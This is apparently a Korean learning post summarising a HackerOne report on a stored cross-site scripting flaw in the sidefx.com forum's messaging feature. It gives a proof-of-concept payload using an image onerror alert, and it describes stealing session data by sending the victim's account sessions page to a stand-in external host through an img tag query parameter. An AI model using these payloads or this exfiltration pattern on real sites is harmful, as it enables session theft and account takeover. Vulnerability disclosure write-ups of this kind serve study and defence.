본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
분석 레포트
https://hackerone.com/reports/1669764
XSS 공격에 대한 가능성을 조사해본 결과 메시지 기능에서 가능성을 확인했다. 메시지를 보내기 위해서는 권한이 있어야 하며, 포럼에 게시글을 올림으로써 관리자의 승인을 받을 수 있다.
계정을 2개 생성 후, 피해 계정( 두번째 테스트 계정 )의 세션 ID를 훔쳐서 로그인 할 수 있었다. 쿠키를 통해 세션을 훔칠 수는 없지만, 사용자에게 https://www.sidefx.com/account/sessions/ 페이지가 존재했다. 피해자 계정을 통해 해당 페이지에 요청( https://www.sidefx.com/account/sessions/ 에 방문 요청 )을 보낸 뒤, 페이지에 제보자의 사이트 링크가 포함된 이미지를 삽입했다. get 매개변수로 base64 인코딩된 html 응답을 지정했다. 인증서 없이도 작동한다.
<img src=http://mysite.com?q={HTML}>
재현 단계
1. 계정을 승인 받는다.
2. 일부 사용자에게 메시지를 보낸다. ( 메시지 내용은 아래와 같다. )
https://example.com/">sadf</a><img src="xx"onerror="alert('XSS')">
3. 받은 메시지를 열람하면, alert()가 발생한다.
영향
사이트에 포럼 사용자 목록 ( https://www.sidefx.com/forum/users/ )이 있고, 이러한 로드가 각각 사용자에게 전송될 수 있기에 이것은 매우 중요한 취약점이다.